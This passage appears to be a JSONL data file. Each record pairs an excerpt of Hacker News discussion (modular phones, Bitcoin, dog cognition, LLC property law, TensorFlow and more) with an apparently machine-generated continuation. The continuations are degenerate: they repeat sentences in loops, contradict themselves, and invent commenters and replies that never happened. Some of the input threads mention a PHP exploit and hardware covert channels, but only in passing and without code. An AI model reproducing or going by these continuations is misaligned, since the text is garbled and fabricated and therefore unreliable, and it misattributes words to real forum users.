I love it.\n\nI have a Moto G and a Moto X Pure and I love them both.\n\nI have a Moto", "input_text": " things like sustainability and repairability.\n\n------\nori_b\nI'm not surprised. I can't think of any way for it to actually be better for\nday to day use than a monolithic smartphone.\n\nMy biggest surprise is that it was still chugging along until now.\n\n------\nwibr\nI always thought that Ara might be a useful platform not so much for\nsmartphones but for all those hand-held custom devices, you could plug in a\ncredit card reader, laser, special cameras, voltmeter or whatever you need.\n\n~~~\nRetra\nBut next to nobody needs those things.\n\n~~~\nNullabillity\nBut just about everyone has _some_ such need, as well as components they\ncouldn't give less of a shit about (the camera comes to mind, for me). The SoC\nis the expensive part that would need the economies of scale, but sadly there\ndon't seem to be that many options in that space anyway.\n\n------\noptforfon\nIf it came out tomorrow it'd be 10 years too late. Cellphones seem to have hit\na plateau. All the parts are now good enough in a cheap phone that no one\nreally needs this.\n\nI got a $150 aluminum phone with a huge battery, nice enough camera,\nfingerprint scanner, 3GBs of RAM, expandable storage, etc. etc.... I don't\nfeel like I need expansion options. What can the higher-specs really offer now\na days?\n\nSamsung has the right idea, maybe we'll need better phones for VR. Or maybe\nbuilt in picoprojectors will be a game changer. But for that you'll need a\nwhole new phone - not just a module snaps on.\n\n~~~\ncubano"} +{"output_text": ") doesn't mean he doesn't understand\nthe word 'drink'.\n\nI'm not saying the dog doesn't understand the word 'drink', I'm saying the\ndog doesn't understand the word 'drink' in the same way humans do.\n\n~~~\ngnaritas\n> You're right, just because the dog doesn't understand 50+ words for 'drink'\n> (water, coke, pepsi, coffee, tea, etc etc", "input_text": " with pleasure roads where people\ncould park freely and enjoy the area, now it's commonly a synonym for any\ngeneral highway. Freeways were actually speed-limit-free highways, the 'free'\nnever had anything to do with cost until the very late 20th century. An\nexpressway was designed as a high-speed arterial road, which may have a\nlimited number of driveways.\n\n~~~\ngnaritas\nNone of that addresses the issues of whether the dog understands. Yes, humans\nhave a higher level of understanding in the sense that we understand\nabstractions, but our greater abilities in that area don't disqualify the\ndog's simpler ability from being called understanding.\n\nIf the dog can tell the difference between being told to fetch the paper vs\nfetch my shoes, then he understands.\n\nBeyond that, the statement...\n\n> their brains are merely receiving a signal and performing an associated\n> action\n\nEqually applies to humans; our brains just have a more complex form of\nassociation. There is no inherent meaning to any of the noises we make that we\ncall words other than they're associated to something. Your associations to\nthose noises is far more complex than the dogs, but you can't call yours\n_understanding_ and not his; his understanding is simpler, but if he performs\nthe correct trick, then he understands the word in the same sense you do, he\nassociated some kind of meaning to that word, just like you do.\n\n~~~\nelectromagnetic\nThat's fair to say. Any comprehension is understanding even if it is just rote\nlearning of single words to commands.\n\nYou're right, just because the dog doesn't understand 50+ words for 'drink'\n(water, coke, pepsi, coffee, tea, etc etc"} +{"output_text": " payments, which is a pain in the ass.\n\nI'm not sure if this is a problem that can be solved by a third party, but I\nwould love to hear from someone who has a solution.\n\n~~~\nleftnode\nI'm not sure if this is a problem that can be solved by a third party, but I\nwould love to hear from someone who has a solution.\n\nI'm not sure if this is a problem that can be solved by a", "input_text": "obo\nAh, I misunderstood your comment sorry - I thought you meant recommendations\nfor installing _PHP_ + some web server in general, not nextcloud specifically!\n\n------\nfortran77\nWow! I'm glad I saw this today. The server we use to host our corporate blog\nwas vulnerable. I updated the php-fpm to the latest and I think I'm OK now.\n\n------\nEGreg\nFunny that php5 is safe from it\n\n~~~\nsmsm42\nActually not, it's safe from the exploit published, but not from the actual\nbug.\n\n------\ncutler\nInteresting to see the exploit written in Go. Proof, maybe, that Go has\nfinally landed.\n\n~~~\ncnst\nI noticed that, too. Including a `go get` instruction to get it, no less.\n\n \nAsk HN: So, what is your problem? - leftnode\nWe're all aware that if we're going to spend time building software, it should actually solve someones problem.

We also know that ideas are easy to come by, but solvable problems are harder.

So, what is your problem that needs solving? Either you'll get a response to something you didn't know existed that solves your problem, or someone might start working on a solution for it.\n======\npeteforde\nI have a major frustration with payment providers \u2014 even contemporary players\nlike Stripe \u2014 that can't offer a 3rd party payments system. That is, anything\nresembling a \"marketplace\" where you sell things on behalf of someone else,\ntake a cut and pass on the rest to the content creator requires the integrator\nto come up with a half-assed payout pipeline. This often results in sending\ncheques and/or making PayPal"} +{"output_text": " \"Windows\".\n\n~~~\nfriendlyghost\nI'm not sure what you mean. I'm not talking about Windows.\n\n------\njosteink\nI\u2019m not sure if I\u2019m missing something, but I don\u2019t see how this is any\ndifferent from the existing package managers.\n\nI\u2019m not sure if I\u2019m missing something, but I don\u2019t see how this is any\ndifferent from the existing package managers.\n\n~~~\n", "input_text": " pushing Vulkan as well, rather than their\nown \"quite similar\" APIs?\n\n~~~\nConst-me\n> MS can't (at least) throw their weight behind that, rather than wasting time\n> on WSL?\n\nI don\u2019t know the answer to that, I\u2019m unrelated to MS, not even on the same\ncontinent. But I have an idea why. Because outside Android, Linux GPU stack is\na mess. Maybe Vulkan will fix it, but it\u2019s not happened yet. I\u2019m just not sure\nit\u2019s possible to build a good product on top of that.\n\nBut they sure can build a single cross-platform GUI library for Windows, OSX,\nand mobile platforms. And I hope they will.\n\n> why aren't Microsoft (and Apple) pushing Vulkan as well, rather than their\n> own \"quite similar\" APIs?\n\nApple released Metal in 2014. MS released DX12 in 2015. Vulkan was first\nannounced in 2015, and they released 1.0 version of the spec only in 2016.\nThat\u2019s why.\n\n------\nfriendlyghost\nYet another package manager for Linux/MacOs to put yet more duplicates of\nalready packaged software on our disks. As a solution for Windows, vcpkg fills\na gap (I use it myself). For other platforms, this just adds more waste.\n\nAnd the first thing it does on Ubuntu 16.04 is to force me to install g++-7\nfrom the toolchain ppa. So now presumably I have to link everything statically\n(ever tried that with gtk?) or the users of my software will have to install\ng++-7 too?\n\n~~~\npjmlp\n\"For other platforms\" is not a synonym for"} +{"output_text": " is a win.\n\n~~~\nIBM\nI agree, but I think the problem is that Google is not a magical place. It's\njust a place where people work.\n\n------\njoshu\nI'm not sure I understand the point of this article.\n\n~~~\njoshu\nI think it's a good article, but I don't think it's a good idea to read it\nwhile you're eating.\n\n~~~\njoshu\n", "input_text": "...](https://en.wikipedia.org/wiki/Apple_Inc._litigation#iPod_battery_life_class_action)\n\nIt was the 2000s, 2005 was the settlement date, iPods didn't exist in the\n1990s. They didn't lose, strictly speaking, they settled (which is not the\nsame as admitting fault). Settling lets them save face, even if they may not\nhave had a liability, by not dragging their name through the muck with regards\nto the poor performance of the batteries and iPods.\n\n------\nIBM\nI've speculated for a long time that basically anything interesting Google\nsays they're doing is essentially meant to be a jobs program to keep employees\nfrom leaving, PR for external stakeholders like investors, media, being\nattractive to potential employees, etc. They seem to have lots of formal ways\nto keep employees from leaving/close as well including investments off of\nGoogle's balance sheet (not GV or Google Capital) into ex-employee startups\nand just flat out paying people not to leave (which is the arrangement I'm\nguessing that Matt Cutts is under). It all seems very Microsoft of old.\n\nCan anyone at Google (or ex-employees) tell me if this is true?\n\n~~~\nChuckMcM\nFlip it around, would anyone want to apply to Google if they weren't doing big\nvisionary things? I've met a lot of people who want to work at Google, not\nbecause anything they want to achieve in life is only possible if they do it\nwith Google's resources, but simply because \"It's a magical place.\" as Phil\nCoulson would say.\n\nSo whether or not it keeps people from leaving, if it is effective at getting\npeople to apply to Google first, it"} +{"output_text": " of evidence that the\nChristian apologists use.\n\n~~~\nlogicprog\nI'm not an atheist, but I think it's ironic that you're using the same\narguments that the Christian apologists use.\n\n~~~\nmicrowavecamera\nI'm not an atheist, but I think it's ironic that you're using the same\narguments that the Christian apologists use.\n\n~~~\nlogicprog\nI'm not an atheist, but I think it's ironic that you", "input_text": "\ntend to stay away from the main subs and visit for very specific reasons.\n\nWe should make another forum-aggregator to replace reddit and it's terrible\nmoderation system, but it probably just won't get big enough.\n\n~~~\nFinch2193\nI have been patiently waiting for an alternative to Reddit. In this time, I\nhave been reading books, and hacker news. Going back to Reddit feels like an\nextreme regression.\n\nShould I give up on the hope that one day we'll see another, better Reddit?\nDigg died when they redesigned their site, I was hoping we'd see the same\nthing with reddit, rinse and repeat...\n\n~~~\nelektor\nThere is an offshoot of Reddit that I frequent and enjoy, it was made by a\nformer Reddit dev: [https://blog.tildes.net/announcing-\ntildes](https://blog.tildes.net/announcing-tildes)\n\nI've got 2 more invites for those are that interested.\n\n \nGraceful Athiest \u2013 What If I Grant You That? (2016) - logicprog\nhttps://gracefulatheist.wordpress.com/2016/11/26/what-if-i-grant-you-that/\n======\nlogicprog\nI'm a Christian but this is a particularly well thought out and fair anti-\napologetic piece. I thought it would be interesting to see what HN thought of\nit (as a long-time lurker :)\n\n------\nmicrowavecamera\nIn fairness of disclosure I'm not a Christian or an Atheist but I think it's\nironic every Atheist's argument I've read so far uses the exact same dubious\nlogic, unscientific reasoning and cherry picking"} +{"output_text": "\n~~~\nRmilb\nI agree, but I think the US and EU are the only places where Bitcoin is\nactually used.\n\n------\njoe_the_user\nI think the author is right that the \"real\" value of Bitcoin is in the\nspeculation.\n\nBut I think the author is wrong that the \"real\" value of Bitcoin is in the\nspeculation.\n\nThe \"real\" value of Bitcoin is in the fact that it is", "input_text": " predictions it will\ngo way higher, so it's deflationary.\n\nBitcoin holders will prefer to spend cash money to bitcoins anytime in\nspeculation of future gains.\n\nI see bitcoin more of a speculative investment at the moment, than a type of\ncurrency. Only the ones that are riding the bitcoin trains seems to think this\nis the future of money. Outside that bubble nobody really uses it.\n\n~~~\nRmilb\nI think its unfair to dismiss the currency aspect of bitcoin. The use case for\nthe developed world is 95% speculation 5% buying contraband online however,\nfor people in Venezuela[1], girls learning to code in Afghanistan[2], or women\nin Saudi Arabi who can't legally open a bank account, Bitcoin is solving\nproblems that under banked people have now. Of course the ecosystem needs to\nmature so grandma can use it safely, but that will come with time.\n\n[1] [https://www.cnbc.com/2017/08/24/bitcoin-mining-is-popular-\nin...](https://www.cnbc.com/2017/08/24/bitcoin-mining-is-popular-in-venezuela-\nbecause-of-hyperinflation.html) [2] [https://www.coindesk.com/how-bitcoin-\nhelps-afghan-girls-achi...](https://www.coindesk.com/how-bitcoin-helps-afghan-\ngirls-achieve-financial-freedom/)\n\n~~~\nmillettjon\nI think it has high utility anywhere outside of the US and EU. There are\nbillions of people that don't have access to stable currencies or reasonable\nbanking.\n"} +{"output_text": "-\nlist/blob/master/blns.txt#L6...](https://github.com/minimaxir/big-\nlist/blob/master/blns.txt#L629))\n\n~~~\nbluesign\nI know, I was just kidding :)\n\n------\njedberg\nI'm surprised that the \"A\" in \"AOL\" is not reserved.\n\n~~~\njedberg\nI guess it's because it", "input_text": "/blob/master/blns.txt#L627)\n\n------\nteddyh\nIt\u2019s missing the old \u201c+++\u201d for non-Hayes modems.\n\n~~~\nschoen\nI think that sequence is an escape for Hayes modems; do you mean that Hayes\nmodems were less vulnerable to attacks involving it because of their guard\ninterval feature?\n\n[https://en.wikipedia.org/wiki/Hayes_command_set#.2B.2B.2B](https://en.wikipedia.org/wiki/Hayes_command_set#.2B.2B.2B)\n\n~~~\nteddyh\nYes, exactly.\n\n------\nubernostrum\nRelated: a list of names that probably should be reserved (for example, to\nprevent someone setting up a user-profile page at a URL you don't want them to\ncontrol):\n\n[https://ldpreload.com/blog/names-to-\nreserve](https://ldpreload.com/blog/names-to-reserve)\n\n~~~\nchipperyman573\nAlternatively, put them in another path\n([https://facebook.com/user123](https://facebook.com/user123) ->\n[https://facebook.com/users/user123](https://facebook.com/users/user123))\n\n------\nljoshua\nLine 629 is a gem!\n\nThank you @minimaxir, I hadn't seen this before, this looks very useful.\n\n~~~\nbluesign\nline 629 is empty ;)\n\n~~~\nljoshua\nNo, wake up!!\n\n(For any who want to take the blue pill: [https://github.com/minimaxir/big"} +{"output_text": "storm\nI'm not sure if I understand your question.\n\nIBM has a long history of working with the US government. They have been\nworking on the \"Top Secret\" designation for decades.\n\n~~~\nmicroarchitect\nI'm not sure if I understand your question.\n\nIBM has a long history of working with the US government. They have been\nworking on the \"Top Secret\" designation for decades.\n\nI'm not sure if I understand your question.", "input_text": "list of gates. The second part,\nwhich I'm a little more familiar with, is \"decompiling\" these gates into\nhigher-level structures like ALUs and multipliers. The hope is that we can\nidentify maybe 80% of the circuit to be good/recognized using purely\nalgorithmic techniques and then a human can dig in and look through the\nremaining 20% for anything suspicious.\n\nThey do seem to be more concerned about chips the US buys from certain other\ncountries than about the likes Intel/AMD building in backdoors.\n\nEDIT: I should also mention that this is not just a concern of the american\ndefence. I'm aware of the indian govt also funding this sort of research with\nsimilar motivation. However, in this instance, the professor was trying to\nattack the problem through the lens of formal techniques. I think the idea was\nto prove that if the chip interacts with the outside world through these\nlimited set of channels then you can't sneak data out through some sort of\ncovert channel hiding in the \"regular\" communication. The specific concern\nhere was about routers/switches and the like equipment sneaking sensitive data\nout of a secure network.\n\n~~~\nsliverstorm\nDoesn't the government already make use of IBM's manufacturing capabilities\nfor Top Secret+ chips to try and mitigate the risk of this scenario?\n\n~~~\nmicroarchitect\nI'm not sure but I think you may be right because the researchers have been\ngranted access to some IBM cell libraries. (I was wondering why IBM agreed to\nthis, but this probably explains it.)\n\nMy understanding is that the main concern here are chips in COTS equipment\nbought from countries that are considered by some to be untrustworthy.\n\n~~~\nsliver"} +{"output_text": " a different thing.\n\n> These emotions exist outside of any deliberate human decision making or\n> social planning.\n\nI'm not sure what you mean by \"deliberate human decision making or social\nplanning\". I'm not sure what you mean by \"outside of\".\n\n> Even monkeys have evolved forms of altruistic behaviour\n\nI'm not sure what you mean by \"altruistic behaviour\".\n\n> 'Ethics' in the sense of empathy and compassionate", "input_text": " nature. The direst way to\nexpress this is that in a natural environment, the weak and the disabled are\nleft aside and die quickly, which we humans have decided to try hard to avoid.\n\nSo maybe a softer, more informal, \"stateless\" society like this Xeer could be\nvaluable. But if it was, it would be because it would better protect us from\nthe law of nature.\n\n~~~\nlogicchains\n>in a natural environment, the weak and the disabled are left aside and die\nquickly\n\nThis simply isn't true[1]. Humans evolved feelings like compassion because\nsuch cooperation and caring was beneficial to our survival. These emotions\nexist outside of any deliberate human decision making or social planning. Even\nmonkeys have evolved forms of altruistic behaviour[2]. 'Ethics' in the sense\nof empathy and compassionate behaviour is hence just as much a part of the\n'law of nature' as the more violent behaviours associated with it.\n\n1.[http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2864937/](http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2864937/)\n\n2\\. [http://www.motherjones.com/environment/2013/04/6-amazing-\nway...](http://www.motherjones.com/environment/2013/04/6-amazing-ways-animals-\nshow-compassion)\n\n~~~\nhumanrebar\n> Humans evolved feelings like compassion because such cooperation and caring\n> was beneficial to our survival.\n\nThat's a plausible hypothesis, but considering that it cannot be proven or\ndisproven, it is an ultimately uninteresting one. gbog was talking about\nsocial evolution, which is"} +{"output_text": " sending them out).\n\n~~~\nAdamGibbins\nThanks for the heads up. I'll keep an eye out for them.\n\n------\njoshu\nI'm in the UK, and I've been waiting for this for a while.\n\n~~~\njackowayed\nI'm in the US, and I've been waiting for this for a while.\n\n------\njoshu\nI'm in the UK, and I've been waiting for this for a", "input_text": "ate uses a science called actigraphy to monitor your sleep patterns by\nmeasuring the movement of your body (via your wrist). Actigraphy has been used\nin sleep labs for decades and is a widely standardized metric of sleep in\nhumans (). The Sleep Cycle app,\nbecause it is not attached to your body, does not use actigraphy, and\ntherefore cannot provide the same granular level of data measurement as a\ndevice using actigraphy, such as the WakeMate. Furthermore, Sleep Cycle is\nsusceptible to false data collection since it can be easily influenced by the\npresence of others in the bed, such as a partner or pet.\n\n~~~\nmike_h\nIf you're willing to attach an iOS device to your body while you sleep\n(between two socks works great, or with an armband) you can try an actigraphy-\naccurate smart alarm with my app:\n\n[http://itunes.apple.com/us/app/circadian-\nalarm/id330721657?m...](http://itunes.apple.com/us/app/circadian-\nalarm/id330721657?mt=8)\n\nIt's a dollar in the store but email me at michael at programmablelife dot com\nand I'll give you a coupon so you don't have to pay.\n\n------\nAdamGibbins\nExcellent news, thanks!\n\nAny ETA on international pre-orders (I'm UK based), notice I haven't received\nan email asking me to pay yet.\n\n~~~\njackowayed\nI haven't gotten an email yet, and I'm in Delaware, US. So I think they\nhaven't sent them out yet (or at least haven't finished"} +{"output_text": " sue for wrongful\ntermination.\n\nThe probationary period is a way to reduce the risk of lawsuits. It's not a\nway to reduce the risk of being fired.\n\n~~~\njbooth\nI think you're missing the point.\n\nThe point is that the probationary period is a way to reduce the risk of\nbeing fired.\n\nThe point is that the probationary period is a way to reduce the risk of\nbeing fired.\n\nThe point", "input_text": " are paid a premium, and\nget accustomed to the money, making them less apt to convert. This is\nparticularly troublesome for those that get their benefits through their\nspouse/partner, where the extra money seems substantial because they aren't\npaying for benefits or COBRA out of it.\n\nProbationary periods are rather useless in any at will employment state (in\nthe US, not sure about international law). Why put \"We can fire you in 90 days\nif you don't perform\" in an employment contract when you can simply fire\nsomeone on day 2 if you really wanted to? It seems like a decent motivational\ntool perhaps, but in markets like software it is just another reason for\ncandidates to potentially turn down work, where the alternative (no\nprobationary period and no expectation of even 90 days of work) is better for\nboth parties.\n\n~~~\nmichaelochurch\nThe probationary period is to reduce risk of lawsuits because at-will\nemployment is actually very complicated when it comes to subjective evaluation\n(i.e. all white collar work) and no one wants to cut a severance check for\nsomeone who is cut in the first 90 days.\n\n\"At-will\" means that companies have the right to execute strategic layoffs,\nand also to set performance standards whereever they wish, as long as they're\nuniformly enforced across that job description. (Both of these, I'd argue, are\nreasonable.) It doesn't allow companies to vary their performance standards\nfor different individuals, or to fire \"for any reason\". For example, if you\nwork for a 5,000-person company and you're fired for performance after failing\non one project and being denied transfer, and you can prove that someone else\nwas allowed transfer under the same circumstances, you can"} +{"output_text": "\n\n~~~\njameshart\nI think you're right, and I think that's why I'm so excited about the\npossibility of a Mars mission.\n\nI think the reason I'm so excited about it is that I think it's a great\nopportunity to do something that will make a real difference to the lives of\npeople who are currently living in poverty.\n\nI think it's a great opportunity to do something that will make a real\ndifference to the", "input_text": " named after an astronaut just after the first moon landing, I\nthought it was completely natural to have the ambition to be the first man to\nset foot on Mars. I'm stunned that at this late date I could STILL be the\nfirst man to set foot on Mars.\n\nBut as I grew into adult life, and visited more than one country here on\nEarth, I began to think that it is an even higher and more challenging\nambition to go somewhere you are not constrained to go by desire for fame or\nfor riches or for being the first in a new territory, but rather by a desire\nto solve intractable problems. Solving a problem of long standing is a bigger\nachievement than solving a problem that is unsolved mostly just because no one\nhas found it worthwhile to solve it. Making any of the world's poorest\ncountries richer in general, or making any of the world's most oppressed\ncountries freer in general, is a problem for which some example solutions\nexist, just as traveling to other planets has some precedent in the manned\nmoon missions and in robot space probes, but I suggest it is actually a much\ntougher and more interesting problem, a problem more worthy of a gnarly man\nwilling to risk his life. I still admire astronauts, and I've exposed all four\nof my children to books and films about space exploration, but I'd be even\nmore thrilled to see them or other young people I know take on the exploration\nchallenge of bringing about improvement in the lives of their fellow human\nbeings in the worst-off parts of planet Earth. There is a lot of challenging\nscience involved in those problems, and the contributions to human knowledge\nthat will come from solving those problems will provide lasting benefit to all\nof humankind, whatever planet our descendants live on."} +{"output_text": "~~~\njlgreco\nI think the difference is that the former is a _natural disaster_ , while the\nlatter is a _man-made_ disaster.\n\n~~~\nscribu\nI agree, but I think the difference is more subtle than that.\n\nThe difference is that the former is a natural disaster that is not\nnecessarily preventable, while the latter is a man-made disaster that is\npreventable.\n\n~~~\njlgreco", "input_text": " best way to improve the lives of Haitians is obviously to help them\nemigrate but they're quite, quite motivated to do that already.\n\n~~~\npleeze\nThe best way to help a nation is not to help the population flee their\notherwise workable location. As others have stated, it's not politically\ncorrect to state the obvious: local rule has utterly failed. British or\nAmerican occupation has always been the best option based on factual national\nstatistics.\n\n~~~\nbarry-cotter\nFuck the nation, if we want to help the people of Haiti we absolutely should\nhelp them flee their location. It may be a workable nation for the Dominican\nRepublic but it clearly isn't for Haiti.\n\nAmerica is politically incapable of a long term occupation, look at Iraq or\nAfghanistan. Real nation building would require running a country in a\nprofoundly undemocratic way for at the very least a decade, more likely two or\nthree. The US isn't even capable of winning a war of occupation given the\npolitical constraints it operates under. If they had the support of 60% of the\npopulation for a thirty year and 0.1% protested against it they wouldn't do\nit. Russia or China might, at a push Singapore, but a Western country? Give me\na break.\n\nAnd don't be a coward with your throwaway. dang may have bowed to pressure\nwith the shut up or be banned to yummyfajitas Chris Stucchio but nothing will\never change if we're all cowards.\n\n------\nscribu\nReading about how people cope after being displaced by a natural disaster felt\nso different than reading about people voluntarily abandoning their homes to\nform communes. The latter shuns authority, while the former actively seeks it.\n\n"} +{"output_text": "\nheat exchanger.\n\n~~~\nrntz\n> The problem only happens when no one bothers to learn how something works.\n\nI don't think that's true. I think the problem is that the benefits of\naugmented intelligence are not immediately obvious, and so people don't bother\nto learn how it works.\n\n> Oh and refrigeration is simple, it is just an application of the ideal gas\n> law PV=nRT, and a pump.", "input_text": " have thoughts that are impossible without.\"_\n\nI posit this post tangentially explains the nagging feeling that many\nparents[1] experience when their children struggle with mathematics. The\nbenefits of basic language literacy are clear, but follow-on analogies such as\nthe above emphasize a point of view concluding that an inability to attain\nmathematical fluency excludes the next generation from any implied augmented\nintelligence benefits.\n\nThe extrapolated message would be that mathematically disinclined adults will\nthen be completely unable to comprehend certain important thoughts in [insert\narcane, highly-specialized technical field].\n\nRegarding the question posed by the title and last sentence in the blog post,\nI'm not sure why the thrust is framed as an XOR, and not as an AND. It's not\nlike we can't focus on both IA and AI at the same time.\n\n[1] Anecdata warning: I am a parent. I have this nagging feeling.\n\n~~~\nrntz\n> an inability to attain mathematical fluency excludes the next generation\n> from any implied augmented intelligence benefits.\n\nWell, only in some ways. I don't have to understand how a refrigerator works\nin order to use it. Improvements in quality of life produced by use of\naugmented intelligence ought to be accessible even to those without it.\n\n~~~\nsmegger001\nThe problem only happens when no one bothers to learn how something works.\nLook at all of those big iron systems out there that few people know how to\nprogram, there is reason Cobol and Fortran programmers still make good money.\n\nOh and refrigeration is simple, it is just an application of the ideal gas law\nPV=nRT, and a pump. Refrigerant is compressed then cooled through use of a"} +{"output_text": ", I was working at a small company in the UK. We had a small\noffice in a small town, and I was the only one who had a PC. I was the only\none who had a PC, and I was the only one who had a PC with a CD drive. I was\nthe only one who had a PC with a CD drive.\n\nI was the only one who had a PC with a CD drive.\n\n~~~\nmattmanser\n", "input_text": "om-yorke-confirms-ok-\ncomputer-is-nerdy-as-shit)\n\n~~~\ndwd\nNaming a song Paranoid Android (my personal all-time favourite) was pretty\nobvious, though it is not about Marvin. I do dispute his opening statement -\nOk Computer was their best album and one of very few albums that you can just\nleave on repeat without skipping tracks.\n\n------\nneonate\n[https://archive.md/m1Pnl](https://archive.md/m1Pnl)\n\n------\nAJCxZ0\nTV Series available on Amazon Prime at\n[https://smile.amazon.com/gp/video/detail/B07CGTY13F](https://smile.amazon.com/gp/video/detail/B07CGTY13F)\n\nRadio series CD box set available in my car's changer, currently on disc three\nof the Tertiary Phase.\n\n------\ncagenut\nman if only he knew what digital watches turned into\n\n~~~\ndboreham\n\"The Book\" surely?\n\n~~~\nspongeb00b\nI would love to know what Douglas would think of the modern smartphone.\n\nI\u2019ve also always wanted to laser engrave \u201cDON\u2019T PANIC\u201d in large friendly\nletters on the back of my phone\n\n------\nalblue\nThe BBC are re-releasing the episodes as from tonight:\n\n[https://www.bbc.co.uk/programmes/m000g55m/episodes/guide](https://www.bbc.co.uk/programmes/m000g55m/episodes/guide)\n\n------\nmooze\nBack in 2004"} +{"output_text": "auce\n> Wouldn't it make more sense to simply fine the LLCs for their misdeeds, and\n> confiscate the properties if the fines go unpaid?\n\nThat's a great idea, but it's not going to happen.\n\n~~~\nstanferder\nI'm not sure why you think it's not going to happen.\n\n~~~\nbarbecue_sauce\nBecause it's not going to happen.\n\n~~~\nstanferder", "input_text": "must-change-quickly-spotify-threatens-to-\nleave-the-country/)\n\n------\nbkohlmann\nThere\u2019s no doubt these laws can be used to maximize gains by nefarious\nindividuals.\n\nAt the same time, the ability to hold a property as an LLC, thus limiting\noverall liability to the property value alone in the case of a lawsuit,\nincentivizes more individual investors to purchase rental real estate. In many\ninstances these assets help facilitate retirement savings that are more stable\nthan market securities.\n\nI\u2019m all for transparency - and it\u2019s likely the increase in LLCs could be\nattributable to more savvy, legitimate investors rather than only attracting\nwrongdoers.\n\n~~~\nstanferder\n>...limiting overall liability to the property value alone\n\nLLCs don't limit liability resulting from negligence, malpractice, or other\npersonal wrongdoing, which may be germane in a lawsuit over something besides\nunpaid debts.\n\n[https://www.nolo.com/legal-encyclopedia/limited-liability-\npr...](https://www.nolo.com/legal-encyclopedia/limited-liability-protection-\nllcs-a-50-state-guide.html)\n\n------\nstanferder\nWouldn't it make more sense to simply fine the LLCs for their misdeeds, and\nconfiscate the properties if the fines go unpaid?\n\nIt is already kinda deranged that one's name and other details become public\nrecords in many states as soon as you buy property or start a company.\n\nEDIT: Surprising number of downvotes in a forum that often focuses on privacy\nconcerns!\n\n~~~\nbarbecue_s"} +{"output_text": "tensorflow-part-1-rnn-\nmodels-f9a9f9d9d9d)\n\n~~~\njoshuamorton\nI'm not sure if you're looking for a Go example, but I wrote a simple\nreinforcement learning example in Go:\n[https://github.com/joshuamorton/go-rl](https://github.com/joshuamorton/go-rl)\n\n~~~\nnem", "input_text": " model.save() [to a hdf5 file] and load_model().\nThis includes both the weights and the architecture.\n\nModels with a few million parameters result in a file around ~50MB, which is\nstill reasonable for modern production use cases.\n\n~~~\nglial\nKeras makes using deep learning for simple-ish use cases sooooo easy.\n\n~~~\nmatheweis\nI second this - I'm really excited about Keras being integrated into the core\nof Tensorflow (other than the chance it might lose the Torch compatibility).\n\n------\npred_\nThat's nifty; I was looking for something like that just a few weeks ago for a\nwork demonstration! Ended up doing\n[https://gist.github.com/fuglede/ad04ce38e80887ddcbeb6b81e97b...](https://gist.github.com/fuglede/ad04ce38e80887ddcbeb6b81e97bbfbc)\ninstead.\n\n~~~\nrhcom2\nThank you to you and OP for both sharing these resources. Really helpful.\n\n------\nnemo1618\nI wish there were more TensorFlow examples written in Go. I made the mistake\nof checking out TensorFlow as my first intro to ML and it flew about 10 miles\nover my head. Slowly learning now, but most of the documentation and tutorials\nare written in Python.\n\nThis blog series was also helpful on a conceptual level:\n[https://medium.com/emergent-future/simple-reinforcement-\nlear...](https://medium.com/emergent-future/simple-reinforcement-learning-\nwith-tensorflow-part-0-q-learning-with-"} +{"output_text": " to get a meeting.\n\n------\njoshu\nI'm not sure I'd trust a startup predictor that doesn't have a good track\nrecord.\n\n------\njmtame\nI think this is a great idea. I think it's a great idea for a startup\npredictor.\n\n------\njmtame\nI think this is a great idea. I think it's a great idea for a startup\npredictor.\n\n------\njmtame", "input_text": "\nI don't think that this site accounts for the high probability of FAIL\ninherent in any startup. Probably just assumes that the company will continue\nalong the growth path of previous SUCCESSFUL startups that were included in\ntheir historic data.\n\n------\nericb\nYouNoodle failed to use BCC when announcing the site to their beta signup list\n(I was curious...). There were about 120 other people on the email some of\nwhom immediately started Replying to All. Ugh.\n\nThankfully, I used my gmail account.\n\n~~~\nstaunch\nNot exactly confidence inspiring.\n\n------\ngrag\nI get the feeling that the startup predictor is just a marketing gimmick to\ngarner some press and that more useful services will be coming... It's\ncertainly not a bad way to get people to talk about their company and register\non their site. If / when they do come out with a more useful service they'd\nlikely to get some good press simply because they've already been on the\nblogosphere radar.\n\n------\n13ren\nHas anyone managed to get a fail out of YouNoodle (whether for a present, past\nor hypothetical startup)?\n\n------\ntlrobinson\n100% gimmick. I wouldn't take investment from anyone who used my company's\nYouNoodle rating as a guide, and I doubt there are any legitimate investors\nwho would ever do so. So what's the point? Entertainment?\n\n------\nadrianwaj\nI would love YouNoodle's startup predictor to work great.\n\nWhy not? It'd allow the cream to rise to the surface.\n\nDespite the publicity surrounding startup investment, it can be really hard to\nsecure a first meeting and at least this is another way"} +{"output_text": "_moon\nI'm not sure if I'm missing something, but I don't see any mention of\nJavascript. Is this a framework for building web apps?\n\n~~~\ntiton\nYes, it's a framework for building web apps.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\ntiton\nIt's a framework for building web apps.\n\n------\njoshu\nI'm not sure", "input_text": "idea which the checked one was.\n\n[http://demo.titon.io/?input&rtl=0](http://demo.titon.io/?input&rtl=0)\n\n------\ngirvo\nWhat I think is far more interesting that the CSS/JS framework, is their\nframework for Hack, Facebook's statically typed PHP derivative:\n[https://github.com/titon/framework](https://github.com/titon/framework)\n\n------\nandrea_sdl\nAm I the only one thinking that the \"flat\" design of buttons has room for\nimprovement?\n\nAlmost every available framework now uses flat buttons, but they are not as\nclear as the old style button (although they are obviously more stylish).\n\nTiton seems to have improved a bit (by adding some bordering to help the user\nundestand that the button is a button an not just some kind of alert), but I\nguess there's still work to be done.\n\n------\nthomasfoster96\nGood to see the support for ARIA roles and attributes on elements. I wonder if\na framework in the future will start using attribute selectors to use ARIA\nroles instead of classes to style things like tabs.\n\nOn the subject of tabs, I'm surprised that no one has removed the JavaScript\ndependency for simple components like tabs. Pure CSS tabs are possible in\npretty much all modern browsers (>= IE9).\n\n------\nBinaryIdiot\nThis looks interesting. Projects that roll up multiple technologies are always\ngreat for getting a prototype going. I'm a bit too old fashioned with using\nsomething like this for a long term project but that's my issue.\n\nI would love to see web components used in projects like these :)\n\n------\nburger"} +{"output_text": " top.\n\n~~~\njedberg\nI'm not sure if you're being sarcastic or not, but I think it's a fair\nstatement.\n\n~~~\ndjchung23\nI'm not being sarcastic. I think it's a fair statement.\n\n------\njedberg\nI'm not sure if this is a good thing or not. I think it's a good thing that\nthey are taking responsibility for their actions, but I'm not sure", "input_text": " streaming service then there needs to\nbe a standard interface to make them collectively easier to use. A \"guide\", if\nyou will.\n\n~~~\npjc50\nUnfortunately their profit incentive is the opposite: to train you to watch\nwhat they choose to recommend, rather than take a step back and look at what\nisn't there. See the hollowing of the 